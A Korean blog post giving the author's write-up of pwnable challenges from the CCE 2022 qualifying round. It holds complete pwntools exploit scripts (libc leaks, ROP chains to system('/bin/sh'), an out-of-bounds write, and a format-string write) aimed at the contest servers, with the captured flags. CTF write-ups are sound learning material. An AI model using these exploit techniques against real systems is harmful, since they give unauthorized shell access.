CCE Qual 2022 Writeup

안수현·2022년 10월 2일
2
post-thumbnail

NWWTHW 팀으로 사이버공격방어대회 2022 예산에 나가서 7등으로 본선에 진출하였습니다.
문제도 유익했고 팀원분들이 너무 잘해서 고마웠습니다.

대회 정보는 이 링크를 참고하면 됩니다. 미리보기, 순위 출처도 여기입니다.
https://www.cce.cstec.kr/

여기에는 내가 푼 문제만 작성했고 팀원이 푼 문제는 아래의 링크에서 확인할 수 있습니다.
4인 팀이라서 모든 문제가 다 나와 있는건 아닙니다.
https://t1mmyt1m.tistory.com/14

Pwnable

x64_ROP

기본적인 64비트 ROP 문제입니다. 버퍼 오버플로 취약점이 존재하며, PIE 가 꺼져 있습니다.

아래와 같이 익스플로잇을 작성하였습니다.

#!/usr/bin/python3
from pwn import *

p = remote("3.36.121.146", 5333)
#p = process("./x64_rop")

e = ELF("./x64_rop")
l = ELF("./libc.so.6")

p.sendlineafter(b"Enter choice : ", b"1")

ret = 0x000000000040101a
rdi = 0x0000000000401203

buf = b""
buf += b'A' * 16
buf += b'B' * 8
buf += p64(rdi)
buf += p64(e.got["puts"])
buf += p64(e.plt["puts"])
buf += p64(e.sym["main"])

p.send(buf)

leak = p.recv(6) + b"\x00\x00"
leak = u64(leak)
leak -= l.sym["puts"]

print(hex(leak))

system = leak + l.sym["system"]
binsh = leak + list(l.search(b"/bin/sh"))[0]

p.sendlineafter(b"Enter choice : ", b"1")

buf = b""
buf += b'A' * 16
buf += b'B' * 8
buf += p64(ret)
buf += p64(rdi)
buf += p64(binsh)
buf += p64(system)

p.send(buf)

p.interactive()


cce2022{b4s1c_x64_r0p_1s_s0_e4sy}

x86_ROP

기본적인 32비트 ROP 문제입니다. 버퍼 오버플로 취약점이 존재하며, PIE 가 꺼져 있습니다.

아래와 같이 익스플로잇을 작성하였습니다.

#!/usr/bin/python3
from pwn import *

p = remote("3.38.162.74", 5333)
#p = process("./x86_rop")

e = ELF("./x86_rop")
l = ELF("./libc.so.6")

p.sendlineafter(b"Enter choice : ", b"1")

r = 0x000000000040101a
pr = 0x080491e5
rdi = 0x0000000000401203

buf = b""
buf += b'A' * 24
buf += b'B' * 4
buf += p32(e.plt["puts"])
buf += p32(pr)
buf += p32(e.got["puts"])
buf += p32(e.sym["main"])

p.send(buf)

leak = p.recv(4)
leak = u32(leak)
leak -= l.sym["puts"]

print(hex(leak))

system = leak + l.sym["system"]
binsh = leak + list(l.search(b"/bin/sh"))[0]

p.sendlineafter(b"Enter choice : ", b"1")

buf = b""
buf += b'A' * 24
buf += b'B' * 4
buf += p32(system)
buf += p32(pr)
buf += p32(binsh)

p.send(buf)

p.interactive()


cce2022{bas1c_X86_rop_1s_e4sy}

hello

OOB read 와 OOB write 취약점이 존재합니다. 음수도 입력이 가능했습니다.


아래와 같이 OOB write 취약점으로 버퍼 오버플로를 발생시키는 방식으로 익스플로잇을 작성하였습니다.

#!/usr/bin/python3
from pwn import *

p = remote("13.124.74.0", 5333)
#p = process("./hello")

e = ELF("./hello")

p.sendlineafter(b"Enter choice : ", b"2")
p.sendlineafter(b"Enter idx : ", b"-25")
p.sendlineafter(b"Enter length : ", b"32")
p.sendlineafter(b"Enter name : ", p32(e.sym["gift"]) * 8)

p.interactive()


cce2022{s4y_h311o_t0_cce2022}

MemView

버퍼 오버플로 취약점이 존재해서 ROP 기법으로 공격할 수 있었습니다.

아래와 같이 익스플로잇을 작성하였습니다.

#!/usr/bin/python3
from pwn import *

p = remote("13.124.195.98", 8888)
#p = process("./MemView")

e = ELF("./MemView")
l = ELF("./libc.so.6")

p.sendlineafter(b"Hi what your name? ", b"AAAAAAAA")
p.sendlineafter(b"> ", b"2")

r = 0x0804900e
pr = 0x08049022

buf = b""
buf += b'A' * 18
buf += b'B' * 4
buf += p32(e.plt["puts"])
buf += p32(pr)
buf += p32(e.got["puts"])
buf += p32(e.sym["main"])

p.send(buf)

leak = p.recv(4)
leak = u32(leak)
leak -= l.sym["puts"]

print(hex(leak))

system = leak + l.sym["system"]
binsh = leak + list(l.search(b"/bin/sh"))[0]

p.sendlineafter(b"Hi what your name? ", b"AAAAAAAA")
p.sendlineafter(b"> ", b"2")

buf = b""
buf += b'A' * 18
buf += b'B' * 4
buf += p32(system)
buf += p32(pr)
buf += p32(binsh)

p.send(buf)

p.interactive()

하지만 flag 가 다른 문제들과 다른 위치에 있었는데, find 명령어로 찾을 수 있었습니다.

cce2022{Hi_paus3_or_s1eep_g00d_s01uti0n~!}

UFOrmat

포맷 스트링 취약점이 존재하며, 두 번 시도할 수 있었습니다.

아래와 같이 익스플로잇을 작성하였습니다.

#!/usr/bin/python3
from pwn import *

p = remote("3.35.222.217", 5333)
#p = process("./UFOrmat")

e = ELF("./UFOrmat")
l = ELF("./libc.so.6")

context.bits = 64

input()

p.sendlineafter(b"> ", b"y")
p.sendlineafter(b"> ", b"y")
p.sendlineafter(b"> ", b"y")

p.sendlineafter(b"> ", b"RET%138$pLIB%143$p")

p.recvuntil(b"RET")
RET = int(p.recv(14).decode(), 16) - 0x20
print(hex(RET))

p.recvuntil(b"LIB")
LIB = int(p.recv(14).decode(), 16) - 0x29d90
print(hex(LIB))

ret = LIB + 0x000bab7c
rdi = LIB + 0x000000000002a3e5
binsh = LIB + list(l.search(b"/bin/sh"))[0]
system = LIB +l.sym["system"]

Writes = {
    RET : p64(ret),
    RET + 0x8 : p64(ret),
    RET + 0x10 : p64(ret),
    RET + 0x18 : p64(ret),
    RET + 0x20 : p64(rdi),
    RET + 0x28 : p64(binsh),
    RET + 0x30 : p64(system),
}

buf = b""
buf += fmtstr_payload(8, Writes)

p.sendlineafter(b"> ", buf)

p.interactive()


cce2022{Th3_sp4c3_w4r_1s_4b0ut_t0_b3g1n}

profile
초보 해커의 생존기

0개의 댓글